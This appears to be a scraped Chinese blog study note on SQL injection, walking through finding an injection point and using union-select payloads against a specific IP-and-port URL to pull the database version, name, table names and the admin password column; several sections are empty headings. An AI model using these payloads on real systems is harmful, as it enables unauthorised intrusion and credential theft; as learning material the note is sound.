• sql注入


     

    定义:

    前端应用和后端数据的接口(url和表单输入)

    常见分类:

     

     

     

     攻击实例:

    https://www.cnblogs.com/vickylinj/p/11940889.html

    基本步骤:

      • 找到注入点;
      • 判断当前表的字段;
      • 用联合语句查看哪几位是有效位;
      • 查看当前数据库中有哪些表;
      • 查看表中有哪些属性;
      • 查看表中具体的数据信息。

    一、检测注入点

    首先,在 http://120.203.13.75:6815/?id=1

    select * from [表名] where id = '1';

    二、判断是否存在 SQL 注入可能

    在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1'

    SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面

    SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误

    说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

    三、数据库爆破

    http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

    四、字段爆破

    进一步猜测数据注入位置:

    http://120.203.13.75:6815/?id=1 order by 10

    这相当于 SQL 查询语句:

    select * from [表名] where id =1 order by 10;

    返回错误,说明字段小于 10:

    二分查找:

    https://www.cnblogs.com/kyoner/p/11080078.html

    五、数据库表爆破

    确定字段之后,现在要构造联合查询语句 (union select),语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2 

    查询数据库版本:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() 

    六、用户名、密码爆破

    现在把 2 替换掉,先查询数据库名称,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database() 

    浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe

    同样的手法查询表名,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' 

    浏览器返回 admin,说明表名为 admin

    再用同样的手法猜测密码和用户名字段,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

    sql盲注:

    https://blog.csdn.net/qq_42477007/article/details/96492174

    sql漏洞出现的地方:

     如何寻找:

    工具,手工测试

    工具:

    怎么判定:符不符合预期结果

    常见测试语句和技巧:

    注释:

     实例:

     sqlmap:

    获取当前数据库

    获取当前数据表

    mysql:

     

     

    盲注:

  • 相关阅读:
    HDU_oj_1003 Max Sum
    HDU_oj_1002 A+B Problem Ⅱ
    [php] 表单注意事项
    【网络基础】网速认知
    [php扩展] php安装扩展注意事项
    谷歌管理flash禁用与开启
    [php] 接口及方法和抽象类及方法的异同点
    【php】php 生僻知识点认知
    [mysql] Can't read from messagefile
    redis 散列学习要点记录
  • 原文地址:https://www.cnblogs.com/huanlfu/p/14243761.html
Copyright © 2020-2023  润新知